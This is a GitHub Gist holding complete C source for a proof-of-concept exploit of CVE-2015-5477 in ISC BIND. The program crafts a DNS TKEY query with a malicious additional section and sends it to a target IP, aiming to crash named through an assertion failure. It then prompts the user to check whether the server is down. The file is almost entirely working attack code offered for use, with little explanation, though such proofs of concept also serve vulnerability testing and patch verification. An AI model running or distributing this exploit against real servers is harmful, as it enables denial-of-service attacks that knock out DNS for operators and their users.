Created
July 29, 2015 16:36
-
-
Save bojieli/6d4c370643c6b9f64227 to your computer and use it in GitHub Desktop.
CVE-2015-5477 POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* CVE-2015-5477 POC | |
* An error in handling TKEY queries can cause named to exit with a REQUIRE assertion failure | |
* Affected software: ISC named (bind) 9.1.0 -> 9.8.x, 9.9.0->9.9.7-P1, 9.10.0->9.10.2-P2 | |
* | |
* Copyleft Bojie Li <[email protected]> | |
* | |
* Free to modify and redistribute this program. | |
* Use at your own risk and you are responsible for what you are doing. | |
*/ | |
#include<stdio.h> | |
#include<string.h> | |
#include<stdlib.h> | |
#include<sys/socket.h> | |
#include<arpa/inet.h> | |
#include<netinet/in.h> | |
#include<unistd.h> | |
#define T_A 1 | |
#define dns_rdatatype_tkey 249 | |
//DNS header structure | |
struct DNS_HEADER | |
{ | |
unsigned short id; // identification number | |
unsigned char rd :1; // recursion desired | |
unsigned char tc :1; // truncated message | |
unsigned char aa :1; // authoritive answer | |
unsigned char opcode :4; // purpose of message | |
unsigned char qr :1; // query/response flag | |
unsigned char rcode :4; // response code | |
unsigned char cd :1; // checking disabled | |
unsigned char ad :1; // authenticated data | |
unsigned char z :1; // its z! reserved | |
unsigned char ra :1; // recursion available | |
unsigned short q_count; // number of question entries | |
unsigned short ans_count; // number of answer entries | |
unsigned short auth_count; // number of authority entries | |
unsigned short add_count; // number of resource entries | |
} __attribute__((packed)); | |
struct QUESTION | |
{ | |
unsigned short qtype; | |
unsigned short qclass; | |
} __attribute__((packed)); | |
struct ANSWER | |
{ | |
unsigned short type; | |
unsigned short class; | |
unsigned int ttl; | |
unsigned short rdlength; | |
} __attribute__((packed)); | |
void str2dns(char* dns, const char* input_host) | |
{ | |
int lock = 0, i; | |
int len = strlen(input_host) + 1; | |
char *host = malloc(len + 1); | |
strcpy(host, input_host); | |
strcat(host, "."); | |
for(i = 0; i < len; i++) | |
{ | |
if (host[i] == '.') | |
{ | |
*dns++ = i - lock; | |
for( ; lock < i; lock++) | |
*dns++ = host[lock]; | |
lock++; | |
} | |
} | |
*dns++ = '\0'; | |
free(host); | |
} | |
int main( int argc , char *argv[]) | |
{ | |
unsigned int query_type = dns_rdatatype_tkey; | |
char host[] = "ring0.me"; | |
char *dns_server, *qname; | |
unsigned char buf[1024]; | |
int s; | |
struct sockaddr_in dest; | |
struct DNS_HEADER *dns = NULL; | |
struct QUESTION *qinfo = NULL; | |
struct ANSWER *addinfo = NULL; | |
size_t query_len = 0; | |
if (argc < 2) { | |
printf("Usage: %s <dns-server-ip>\n", argv[0]); | |
exit(1); | |
} | |
dns_server = argv[1]; | |
printf("Target: %s\n", dns_server); | |
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); | |
dest.sin_family = AF_INET; | |
dest.sin_port = htons(53); | |
dest.sin_addr.s_addr = inet_addr(dns_server); | |
dns = (struct DNS_HEADER *)&buf; | |
dns->id = (unsigned short) htons(getpid()); | |
dns->qr = 0; //This is a query | |
dns->opcode = 0; //This is a standard query | |
dns->aa = 0; //Not Authoritative | |
dns->tc = 0; //This message is not truncated | |
dns->rd = 1; //Recursion Desired | |
dns->ra = 0; //Recursion not available! hey we dont have it (lol) | |
dns->z = 0; | |
dns->ad = 0; | |
dns->cd = 0; | |
dns->rcode = 0; | |
dns->q_count = htons(1); // only 1 question | |
dns->ans_count = 0; | |
dns->auth_count = 0; | |
dns->add_count = htons(1); // malicious additional section | |
query_len = sizeof(struct DNS_HEADER); | |
// question section | |
qname = (char *)(buf + query_len); | |
str2dns(qname, host); | |
query_len += strlen(qname) + 1; | |
qinfo = (struct QUESTION *)(buf + query_len); | |
qinfo->qtype = htons( query_type ); | |
qinfo->qclass = htons(1); | |
query_len += sizeof(struct QUESTION); | |
// additional section | |
qname = (char *)(buf + query_len); | |
str2dns(qname, host); | |
query_len += strlen(qname) + 1; | |
addinfo = (struct ANSWER *)(buf + query_len); | |
addinfo->type = htons( T_A ); | |
addinfo->class = htons(1); | |
addinfo->ttl = htons(600); | |
query_len += sizeof(struct ANSWER); | |
addinfo->rdlength = 4; | |
query_len += addinfo->rdlength; | |
// convert to network order | |
addinfo->rdlength = htons(addinfo->rdlength); | |
if( sendto(s,(char*)buf,query_len,0,(struct sockaddr*)&dest,sizeof(dest)) < 0) | |
{ | |
perror("sendto failed"); | |
} | |
printf("Payload sent.\nPlease check whether or not the server is down.\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment